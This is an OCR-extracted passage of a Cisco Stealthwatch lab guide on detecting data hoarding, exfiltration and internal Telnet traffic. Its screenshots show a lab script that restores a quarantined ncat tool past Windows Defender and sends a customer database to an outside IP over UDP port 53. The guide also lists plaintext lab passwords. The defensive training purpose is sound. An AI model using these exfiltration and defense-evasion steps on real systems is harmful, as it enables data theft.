|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>Subject<br>Packets:<br>Packets:<br>Packet Rate;<br>Bytes:                                | 57.96 K<br>423.03 pps<br>1.25 MB                       | Totals<br>Packets:<br>Packets:<br>Bytes:                                    | 344 K<br>2.51 Kpps<br>383.14 MB                       |              | Peer<br>Packet<br>Packet<br>Bytes:                   | . 286.  | .04 K<br>I Kpps<br>.89 MB                 | 198.19.20.134   | -              |               |               |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>SUbject<br>Packets:<br>Packet Rate:<br>Bytes:<br>Bytes:                                  | 57.96 K<br>423.03 pps<br>1.25 MB<br>9.56 Kbps          | Totals<br>Packets:<br>Packets:<br>Bytes:<br>Bytes:<br>Byte Rate:            | 344 K<br>2.51 Kpps<br>383.14 MB<br>2.93 Mbps<br>0.000 |              | Peer<br>Packet<br>Bytes<br>Bytes                     | 303.1 A M<br>15: 286.<br>Rate: 2.09<br>381.<br>381. | 04 K<br>I Kpps<br>.89 MB<br>! Mbps        | 190,15.20.134   | -              |               |               |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>Subject<br>Packets:<br>Packet Rate:<br>Byte Rate:<br>Percent Transfer:<br>Viewt Oremetar | 57.96 K<br>423.03 pps<br>1.25 MB<br>9.56 Kbps<br>0.33% | Totals<br>Packets:<br>Packet Rate:<br>Bytes:<br>Subject Byte Ratio:<br>prr. | 344 K<br>2.51 Kpps<br>383.14 MB<br>2.93 Mbps<br>0.33% |              | Peer<br>Packet<br>Packet<br>Bytes<br>Bytes<br>Percer |   | .04 K<br>) Kpps<br>88 MB<br>2 Mbps<br>77% | 190,15.20.134   | -              |               |               |

There is a lot of rich information in the above graphic and flow query we performed. We can see the start of the event, duration, the host group involved in the data transfer, the application used, total bytes, the peer IP address, peer port, peer host group and peer bytes.

This is a host that is allowed access to the peer system but has tripped the data hoarding alarm because amount of data being transferred is unusual compared to the normal baseline. The host group being accessed is in the Protected Assets. This host group could be defined with confidential servers, PII servers, or credit card processors. Segmenting assets allows for greater threat protection.

Also see this related article: <u>http://www.businessinsider.com/snowden-leaks-timeline-2016-9</u> Explore more within the interface and select the context sensitive Stealthwatch Online Help on various screens as shown below. The context sensitive help will explain the information displayed on various reports.

| 🐖 Flow Search Results   Stealthwatch 🗙 🕂 |                                    |                      |                  |              |                  |                 |                        | <u>9</u> | 8 |
|--|------------------------------------|----------------------|------------------|--------------|------------------|-----------------|------------------------|----------|---|
| ← → C ☆ ▲ Not secure   http              | s//198.19.20.136/lc-landing-page/s | mc.html#/flowAnalysi | s/results/5c4ff4 | 3c60b2c3c452 | 56a663/5c4ff43c6 | 0b2c3c45256a664 | \$                     | Θ        | : |
| 👖 Apps 📙 Appliances 📙 Splunk 🌍 I         | Æ-PIC 📙 Test Sites 🐱 Cisco Box     |                      |                  |              |                  |                 |                        |          |   |
| dialo Stealthwatch                       | Dashboards                         | Monitor              | Analyze          | Jobs         | Configure        | Deploy          | Q 🖪 🔅 Desktop          | Client   | Î |
| Flow Search Results (1)                  |                                    |                      |                  |              |                  |                 | Stealthwatch Resources | 5        |   |

## Summary

Within this test plan, you learned:

- How to trigger alarms for data hoarding activity.
- How to review the data hoarding alarms within Secure Network Analytics.



### Lab 5.Use data exfiltration to track inside and outside hosts

One of the most valuable assets for an organization is its intellectual property, confidential information, and information stored in the company networks. Data breaches cost organizations millions of dollars.

The Secure Network Analytics Exfiltration alarms tracks inside and outside hosts to which an abnormal amount of data has been transferred. If a host triggers events exceeding a configured threshold, it results in an Exfiltration alarm.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab5</u>.

## **Test Drive Objectives**

Security events contribute index points to alarms. Alarms are grouped into Alarm categories.

The Suspect Data Loss security event is in the Exfiltration alarm category and based on observed flow rather than a number of default points assigned to the alarm category when the security event occurs.

When this event triggers, an inside host acting as a client has uploaded a cumulative amount of TCP or UDP payload data to an outside host, and the amount exceeds the threshold set in the policy applied to the inside host.

What does it mean when this alarms fires? A host is being used to upload more information to the Internet than is acceptable. This can be anything from someone using external backup services to maliciously exfiltrating corporate data.

### **Test Drive Requirements**

- Stealthwatch Management Console (SMC) 6.9 or greater
- Stealthwatch Flow Collector any version 6.9 or greater
- Any version of NetFlow from within the network
- Visibility of all host-to-host traffic from the core/distribution

## **Test Drive Outline**

The "attacker" in this scenario will be sending a large file from the system to a host on the Internet. In the example given in this document we will use ncat, but you could also transfer a file to a web file storage system like Google Drive or Dropbox.

Using the image below, ensure you are collecting full netflow somewhere along the path between the attacker and victim IP.



In the following examples, the attacker IP address will be 198.19.30.36.

A disgruntled employee has downloaded customer information from a database server and is now sending critical sensitive data to a destination outside of your network. Secure Network Analytics will detect and alert you to this file transfer activity.



### Transfer a large amount of data from your attacking system

The steps to conduct this attack will vary depending on the type of system that you are using both for your attack and for your external file share.

An FTP client would be used if you are connecting to a system serving files with an FTP server, or you could use a web browser to transfer the file to a service such as Google Drive or Dropbox. Transfer the 380 MB file to a remote host using ncat.

- 1. From Wkst1, open the Downloads folder within Windows Explorer and double-click the git-material.sh script.
- 1. Open the lab-exploit-kit folder and right-click exfil.bat selecting Run as administrator.
- 2. Click Yes to run the script as illustrated below.

| Image: Second                                | CopunOffic<br>Pine Home Share View<br>Charlen U. Pine Home Share View<br>Pine bounds Copy Finite Pine Properties Pine<br>Copund Copy Finite Pine Properties Pine<br>Copund Copy Finite Pine Pine Pine Pine Pine Pine Pine Pin  | > Downloads > lab-exploit-kit >   |  |
|--|--|---|--|
| Image: State of State                   | OneDrive     Name     Administrator  | Name Date modified  | Use Assure Control X<br>Do you want to allow this app to make  |
| Circo Statistica Stati | Ugdst klat<br>Groups<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>Desktop<br>D | grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>grecon.bat<br>greco | Viningeneral for acvice.<br>Windows Command Processor<br>Verheld publiek Moroach Windows<br>Dom man stath<br>No. No. No. No. No. No. No. No. No. No. |
|  | Cisco<br>Stealthwat  | \$  |  |

- 3. The script will disable any host protections by restoring the ncat.exe tool which was part of the tools downloaded and will be used to transfer data. netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP.
- Following the prompts in the script you will see the command being used to transfer the encrypted-customer-DB over UDP port
   53 (often open for DNS) to an outside host of 209.182.184.211.

|             | OneDrive             | C.WHDOWS(System32)cmd.exe  |
|-------------|----------------------|--|
| 0.          | 2 Administra         |  |
| Parts Host  | This PC              | C: VMINUOWS/system32>echo off  |
| Groups      | 3D Object            | push file to incented host over bits port our sist the charster through a common open port   |
|             | Desktop              |  |
|             | 😫 Documer            | First remove local controls if ncat was quarantined and restore ncat   |
| ny orid nem | 🕹 Downloa            |  |
| pxgnapen    | 👌 Music              | nu mormdnun eve -restore -filenath \lah-evnloit-kit\ncat eve   |
|             | E Pictures           | Restoring the following quarantined items:   |
| 3           | 🖥 Videos             |  |
| Recycle Bin | 🚽 Flope Di           | ThreatName = HackTool:Nin32/NetCatIMSR   |
|             | 😐 i 🔼                | file:C:(Users(Administrator.WKST)(Downloads)(ab-exploit-kit)(ncd.exe quarantined at 12/4/2020 3:40:37 PM (UIC) was restored<br>file:C:(Users(Administrator.WKST)(Downloads)(ab-exploit-kit)(ncd.exe quarantined at 12/4/2020 3:40:56 PM (UIC) was restored |
|             | 5 items              |  |
| •••         | Date created: 12/4/2 |  |
| Cisco       |                      | Press any key to continue  |
| Stealthwat  |                      |  |
|             | 5                    |  |
|             |                      | e system cannot find the file specified.   |
| Chrome      |                      | C:\UTNONEC.urta=22.C:\Uranz\Administraton WKT1\Downloads\lab.avnloit.kit\ocat.avn  |
|             |                      | Lab contentiencry.ct. disc. skuministration.mksii (dominisus lab exploit-kit(incateze -usenu-only 209.182.184.211.55 ok c: (users Uab contentiencry)   |
| C:N_        |                      |  |
|             |                      | C:\WINDOWS\system32>echo off   |
| cmd.exe     |                      | Transfer complete!   |
|             |                      |  |
|             |                      |  |
|             |                      |  |
| Postman     |                      |  |
|             |                      |  |
| III C       | Turne here to ce     |  |

### Review Secure Network Analytics for Data Exfiltration alarms

Secure Network Analytics will have detected the data exfiltration from the dCloud attacking system. The data exfiltration alarms for this attack are seen in the Secure Network Analytics Security Insight Dashboard. While not covered in this document, you also could have received an alert via email or a syslog message to your SIEM.

1. To view the alarm, open a connection to your SMC and look at the Exfiltration section under Alarming Hosts as illustrated below. In this example, Secure Network Analytics has created an alarm for data exfiltration traffic. Click the number below Exfiltration to open up the alarms.



2. Secure Network Analytics has determined that there is data exfiltration activity above the acceptable threshold, which you can see in the EX column. Click the value in the EX cell (the IP used in the attack of 198.19.30.36) to further drill into the alarm.

| cisco Stealthwatch |   | Dashboards               | Monitor A          | nalyze Jobs    | Configure | Deploy |        |        |      |      |      | 000     | Deskto | p Client |
|--------------------|---|--------------------------|--------------------|----------------|-----------|--------|--------|--------|------|------|------|---------|--------|----------|
| Inside Hosts (3)   |   |                          |                    |                |           |        |        |        |      |      |      |         |        |          |
| Current Filters    |   | Host                     |                    |                |           |        |        |        |      |      |      |         |        |          |
| Alarms             |   | Sort by overall severity |                    |                |           |        |        |        |      |      |      |         |        |          |
| Exfiltration       | × | Host Address             | Host Name          | Last Active    | ¢ CI      | \$ті   | ‡ RC   | \$ C&C | ‡ EP | ‡ ds | ‡ dt | ≎ DH    | ‡ ex   | \$ PV    |
| Host Groups        |   | 198.19.30.36 😔           | wkst1.dcloud.local | 9/8/19 8:47 AM | 5,171%    | 1%     | 38%    |        |      |      |      | 2,342%  | 788%   | 1%       |
| Inside Hosts       | × | 10.150.1.200 😳           |                    | 9/8/19 5:14 AM | 256%      | 1%     | 2,980% |        |      |      | 46%  | 357%    | 330%   | 26%      |
| Clear All          |   | 10.201.3.149 😁           |                    | 9/8/19 8:49 AM | 216%      |        | 1,921% |        |      |      |      | 40,518% | 103%   | 51%      |

3. Here we see that the data exfiltration alarm allows up to 1k points, and Secure Network Analytics has created an alarm because 198.19.30.36 has 252<sup>K</sup> points of data exfiltration activity (this value may be different in your view). Click the section that begins with "Observed" under Details to get additional information on this alarm.

| ii<br>c | sco Steal       | thwatch            |                | Dashboards         | Monitor A      | nalyze Jobs        | Configure    | Deploy      | Q 🕑 🌣 Desktop Client   |
|---------|-----------------|--------------------|----------------|--------------------|----------------|--------------------|--------------|-------------|--|
| E       | kfiltration   1 | 98.19.30.36 (1)    |                |                    |                |                    |              |             |  |
|         | Alarms          |                    |                |                    |                |                    |              |             |  |
|         | First Active    | Source Host Groups | Source         | Target Host Groups | Target         | Policy             | Event Alarms | Source User | Details  |
|         | 9/8/19 8:45 AM  | File Servers       | 198.19.30.36 🖂 |                    | Multiple Hosts | Default Server Pol | су           |             | Observed 252.47k points. Expected 0 points, tolerance of 50 al |
|         | Previous 1      | Next               |                |                    |                |                    |              |             |  |



#### 4. Click the Source Host IP address of 198.19.30.36 to open a Host Report.

| aliali<br>cisco | Stealthwate                                  | ch                          | Dashboards            | Monitor                         | Analyze      | Jobs                  | Configure   | Deploy                    |                        | 900               | Desktop Client |
|-----------------|--|-----------------------------|-----------------------|---------------------------------|--------------|-----------------------|-------------|---------------------------|------------------------|-------------------|----------------|
| Secu            | rity Events   198                            | .19.30.36 (1)               |                       |                                 |              |                       |             |                           |                        |                   |                |
| All S           | ecurity Events For 1                         | 98.19.30.36                 |                       |                                 |              |                       |             |                           |                        |                   |                |
|                 | SECURITY EVENT                               | COUNT                       |                       | FIRST ACTIVE                    | _ <b>[</b>   | SOURCE HOST           |             | SOURCE HOST GRO           | TARGET HOST            | TARGET HOST GROUP | ACTIONS        |
| -               | Suspect Data Loss                            | 1                           | 252,471               | 09/08 8:45:00                   | АМ           | 198.19.30.36 💮        |             | File Servers              | Multiple Hosts         |                   |                |
|                 | DETAILS<br>Observed 233.77M bytes.<br>bytes. | Expected 0 bytes, tolerance | of 0 allows up to 10M | DESCRIPTION<br>Suspect Data Los | ss: Indicate | s that an inside host | has uploade | d an abnormal amount of e | data to outside hosts. |                   |                |

5. From the Traffic by Peer Host Group (last 12 hours) widget, select the United States data stream, left click and view flows as seen below. This will query the Flow Collector with our parameters automatically selected.

| Host Report   1 | 198.19.30.36        |         |     |                          |   |                      |                           |                     |                                |                   |
|-----------------|---------------------|---------|-----|--------------------------|---|----------------------|---------------------------|---------------------|--------------------------------|-------------------|
| Alarm Categorie | S                   |         |     |                          |   |                      |                           |                     |                                |                   |
| Concern Index   | Target Index        | Recon   | C&C | Exploitation             | DDoS Source   | DDoS Target          | Data Hoarding             | Exfiltration        | Policy Violation               | Anomaly           |
| 1               | 0                   | 0       | 0   | 0                        | 0   | 0                    | 1                         | 1                   | 1                              | 0                 |
| Host Summary    |                     |         |     | Traffic by Peer H        | ost Group (last 12 h  | ours)                | <ul> <li>Alarm</li> </ul> | is by Type (last    | 7 days)                        | 1                 |
|                 | Host IP<br>198.19.3 | 0.36 😶  |     |                          | View Flows  | Edit<br>Custom Rep   | 40                        | 34                  | Alarms by Type                 |                   |
| Flows           | Classify            | History |     | Domain Con     Catch All | Subject Host IP:<br>198.19.30.36<br>Peer Host Group: United | Unknow<br>United Sta |                           |                     | 27 28                          | 19                |
| Status:         | wket1 delaud loca   |         |     | Multicast                | States<br>from: 09/07 8:54 PM                               | Irela                | and                       | 9                   | 9                              | 10                |
| Host Groups:    | File Servers        |         |     |                          | to: 09/08 8:54 AM   | Cana                 | ada •                     |                     |                                |                   |
| Location:       | Unknown             |         |     |                          |   | Denm                 | ark                       | 9/2 9/3             | 9/4 9/5 9/6                    | 9/7 9/8           |
| First Seen:     | 6/25/19 9:31 PM     |         |     |                          |   | Fra                  | nce                       | .CSE: Custom Reputa | ition List<br>te Access Breach | : Weak Encryption |
| Last Seen:      | 9/8/19 8:52 AM      |         |     |                          |   | Others (O            | u©                        | High Total Traffic  | Max Flows Initiated            | Addr_Scan/tcp     |

6. After the query is finished, we can see that 198.19.30.36 (our attacker) is sending data using the port specified in the attack, 53/DNS, and sending that data out to the IP address specified in the exfiltration attack. (209.182.184.211)

| sco    | Stealthwa   | atch   |  | Dashboards                                       | Monitor         | Analyze Jobs  | Configure             | Deploy                | 8000                        | esktop Client |
|--------|---|--|--|--|-----------------|---|-----------------------|-----------------------|-----------------------------|---------------|
| ow !   | Search Result   | ts (410)   |  |  |                 |   |                       |                       |                             |               |
| Edit ! | Search 09/07/2  | 2019 08:54 PM -                                  | 09/08/2019 08:54 AM (Ti  | me Ra 2,000 (M                                   | x Records)      |   |                       | Save Search           | Save Results Start N        | ew Search     |
|        | Subject: 198.19   | 30.36 Fither                                     | (Orientation)  |  |                 |   |                       |                       | 100% Complete               | elete Search  |
| C      | Connection: All (Ele  | w Direction)                                     |  |  |                 |   |                       |                       |                             |               |
| 0      | Deer United   | Protection (                                     |  |  |                 |   |                       |                       |                             |               |
|        | Peer: United  | States (Host Gr)                                 | supe)  |  |                 |   |                       |                       |                             |               |
| 0      |   |  |  |  |                 |   |                       | Manage Columns Summar | ry Export V More V          |               |
|        | DUDATION  |  | SUB IFOT   | 51   |                 | TOCOL TRAFFIC   |                       |                       | 0000                        | ACTIONS       |
|        | DORATION  |  | SUBJECT  | 50   | IBJECT PORT/PRO | TOCOL TRAFFIC   | SOMMART               | PEER PORT/PROTOCOL    | PEEK                        | ACTIONS       |
|        | Start: Sep 8, 2019 8:38:<br>End: Sep 8, 2019 8:42:4                           | 57 AM<br>17 AM                                   | 198.19.30.36   | 65   | 357/UDP         | 222.39 MB   | 163.13 Kpackets       | 53/UDP                | 209.182.184.211 😳           | Θ             |
| ÷      | Duration: 3minutes 50se   | conds  | <ul> <li>Wew over bala</li> <li>We Unknown<br/>wkst1.dcloud.local</li> </ul>         |  |                 | DNS (   | nclassified)<br>←<br> |                       | alp03-pxe01-202.tancope.com |               |
| Ţ      | General   | conds  | ■ Ukinown<br>wkst1.dcloud.local  |  |                 | DNS (   | nclassified)<br>←<br> |                       | alp03-pxk01-202.lancope.com |               |
| Ţ      | General<br>View URL Data  | conds  | ■ Unknown<br>wkst1.dcloud.local  |  |                 | DNS (   | nclassified)          |                       | ap03-pxe01-202.lancope.com  |               |
| Ţ      | General<br>View URL Data<br>Subject   | conds  | Suthinown<br>wkst1.dcloud.local  |  |                 | DNS (r  | nclassified)          |                       | ap03-pax01-202.lancope.com  |               |
|        | General<br>View URL Data<br>Subject<br>Packets:                               | 163.13 K   | Suthinoon<br>wkst1.dcloud.local  | 163.13 K   |                 | DNS (s<br>Peer<br>Packets:  | nclassified)          |                       | ap03-pax01-202.lancope.com  |               |
|        | General<br>View URL Data<br>Subject<br>Packets:<br>Packet Rate:               | 163.13 K<br>709.24 pps                           | Totals<br>Packets:<br>Packets:   | 163.13 K<br>709.24 pps                           |                 | DNS (<br>Peer<br>Packets:<br>Packet Rate:                         | nclassified)          |                       | ap03-pax01-202.lancope.com  |               |
|        | General<br>View URL Data<br>Subject<br>Packets:<br>Packet Rate:<br>Bytes:     | 163.13 K<br>709.24 pps<br>222.39 MB              | Contains<br>what1.dcloud.local<br>Totals<br>Packets:<br>Packets:<br>Bytes:           | 163.13 K<br>709.24 pps<br>222.39 MB              |                 | Peer<br>Packets:<br>Packet Rate:<br>Bytes:                        |                       |                       | ap03-pax01-202.lancope.com  |               |
|        | General<br>View URL Data<br>Subject<br>Packets:<br>Packet Rate:<br>Byte Rate: | 163.13 K<br>709.24 pps<br>222.39 MB<br>1.01 Mbps | & uterson<br>wkst1.ddbud local<br>Totals<br>Packets:<br>Packets:<br>Bytes:<br>Bytes: | 163.13 K<br>709.24 pps<br>222.39 MB<br>1.01 Mbps |                 | DNS (<br>Peer<br>Packets:<br>Packet Rate:<br>Bytes:<br>Byte Rate: | nclassified)          |                       | ap03-pag01-202.lancope.com  |               |



7. Explore more within the interface and select the context sensitive Stealthwatch Online Help on various screens as shown below. The context sensitive help will explain the information displayed on various reports.



### Summary

Within this test plan, you learned:

- How to trigger alarms for data exfiltration activity.
- How to review Secure Network Analytics data exfiltration alarms.

## Lab 6. Detect internal Telnet traffic

# About high risk application detection

Many organizations prohibit the use of Telnet on the network. It is an unsecure protocol because it transfers data in clear text, introducing the risk of exposing login credentials to an attacker. Telnet can open an organization up to data loss. Mainframes and financial systems that contain customer information often run Telnet, leaving them vulnerable to network monitoring attacks.

Secure Network Analytics Custom Security Events can be created to alarm on unauthorized Telnet communications or other unwanted applications against a group of hosts.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab6</u>.

## **Test Drive Objective**

Security events contribute index points to alarms. Alarms are grouped into Alarm Categories.

The Policy Violations Alarm Category is a Custom Security event created to report on policy violations or unwanted communications in an organization.

### **Test Drive Requirements**

The Secure Network Analytics system configuration minimum requirements are:

- Visibility of all host-to-host traffic from the core/distribution
- Stealthwatch Release 6.9 or greater

## **Test Drive Outline**

Using the image below, ensure you are collecting full netflow somewhere along the path between the attacker and victim IP.



The "attacker" in this scenario will attempt to connect to a database using Telnet.

A system in the Inside Hosts group with a Telnet server is running on the network. This goes against security best practices, and in this test case we will create a Custom Security Event to monitor for this type of traffic.

# Create a custom security event to detect internal Telnet traffic

Let's set up a Custom Security Event to look for Telnet traffic internally, which uses port 23/tcp.

- 1. Open the SMC web interface and navigate to **Configure > Policy Management**.
- 2. Select Custom Events.
- 3. Create New Policy > Custom Security Event.

| ← → C ▲ Not Secure   https://198.19.20.136                 | 6/lc-landing-page/smc.html#/p | olicymanagement |      |  | ९ 🖈 🖉 🥥 🗄            |
|--|-------------------------------|-----------------|------|--|----------------------|
| dude Stealthwatch  | Dashboards Mo                 | onitor Analyze  | Jobs | Configure Deploy   | Q 🕑 🏟 Desktop Client |
| Policy Management Search for a host or select a host group | Search                        |                 |      | Networ Classification<br>Host Grop Management<br>Applica As<br>Policy Management |                      |
| Custom Events (5) Relationship Events (407)                | Core Events (802) 🜑           |                 |      |  | Create New Policy ~  |

#### Lab Guide

Cisco dCloud



Complete the following steps, being sure you exactly match the settings in the image below.

- 1. Enter Name: .CSE: Telnet Traffic
  - a. Take note of the period in front of the CSE which will cause the name to sort first
- 2. (optional) Enter description: Telnet Traffic will violate Security Policy
- 3. Status: On
- 4. Find + and select Subject Host Group = Inside Hosts
- 5. Find + and select Subject Port/Protocols = 23/tcp (This is the default port used for Telnet.)
- 6. Find + Subject Packets = >3
- 7. Find + Subject Orientation = Server
- 8. Find + Peer Packets = >3 (By defining a packet count on both the subject and peer it will cause the alarm to trigger only if the traffic is bidirectional.)
- 9. In the upper right corner, click Save.

| altalla<br>cisco   | Stealthwatch                        | Dashboards | Monitor                    | Analyze          | Jobs     | Configure | Deploy |              |                     | Desktop Client          |
|--|-------------------------------------|------------|----------------------------|------------------|----------|-----------|--------|--------------|---------------------|-------------------------|
| Polic  | y Management   Custom Security Ever | nt         |                            |                  |          |           |        |              | Cancel              | Save 9                  |
|  |                                     |            |                            |                  |          |           |        |              |                     | Actions 🗸               |
| NAME *   | Telnet Traffic                      | DESCRI     | PTION<br>et Traffic will v | olate Security F | Policy 2 |           |        | STATUS       | 3                   |                         |
|  |                                     |            |                            |                  |          |           |        |              |                     |                         |
| When any host within Inside Hosts, acting as a server; through 23/tcp; with >3 packets communicates with any peer host; with >3 packets, an alarm is raised. |                                     |            |                            |                  |          |           |        |              |                     |                         |
| FIND (   | 0                                   |            |                            |                  |          |           |        | ACTIONS      |                     |                         |
| SUBJI  |                                     |            |                            |                  |          | 8         | AND    | Alan<br>mate | m when<br>ches this | a single flow<br>event. |
| SUBJI  |                                     |            |                            |                  |          | 8         | ) AND  |              |                     |                         |
| SUBJI  | ECT PACKETS D 6 3×                  |            |                            |                  |          | 8         | ) AND  |              |                     |                         |
| SUBJI  | ECT ORIENTATION Server 7            |            |                            |                  |          | $\sim$ 8  | and    |              |                     |                         |
| PEER   |                                     |            |                            |                  |          | 8         | 8      |              |                     |                         |

## Enable the Telnet Server on Wkst1

In this task, we will show how easy it is for a user to install an application which could open a possible attack surface. A user has installed KTS Telnet server so they can access the machine while they are working remote.

Verify the Telnet service:

- 1. From WKST1 select the Start button.
- 2. Expand Programs.
- 3. Expand KTS and open Setup KpyM Telnet SSH Server.
- 4. Review the setup options and hit the ESC key on your keyboard to exit the setup without any changes.




#### Connect to Server over Telnet from Remote VPN Workstation

In this task, we will use the Remote Workstation to connect to the Telnet server.

- 1. Open https://dcloud.cisco.com in a web browser and select My Hub
- 2. Select View for the current Cisco Secure Network Analytics Customer Test Drive 7.3.0.
- 3. Select the **Remote Desktop hyperlink** under Remote Workstation, as illustrated below.

Note: If you have trouble connecting to the Remote Desktop, you may need to Re-boot the workstation from the Servers utility.



- 4. If you are prompted to log in, type admin for the username and C1sco12345 for the password.
- Launch AnyConnect (if it does not automatically display; it is located in the services menu in the bottom right corner) and Login to Cisco AnyConnect Corporate VPN – Employees profile with username employee and password C1sco12345.





- 6. Launch Putty from the desktop and enter **198.19.30.36** in the host name field.
- 7. Select Telnet.

| Network  | ×  |
|--|--|
| Category:  |  |
| Control<br>Panel   | Basic options for your PuT TY session Specify the destination you want to connect to Host Name (or IP address) Port 198.19.30.36 23 Connection type: |
| Google<br>Chrome   | O Raw Telnet O Riogin O SSH O Serial Los A ve or delete a stored session aved Sessions Default Settings Load   |
| - Data<br>- Prove<br>- To et<br>- Mogin<br>WinSCP<br>- SSH<br>- Serial | Close window on exit:  |
| putty About  | Open Cancel  |
|  | 4 🗆 🔒 🗠 🔇  |

8. Press the Enter key to begin logging into the Telnet session use username Administrator with password C1sco12345.





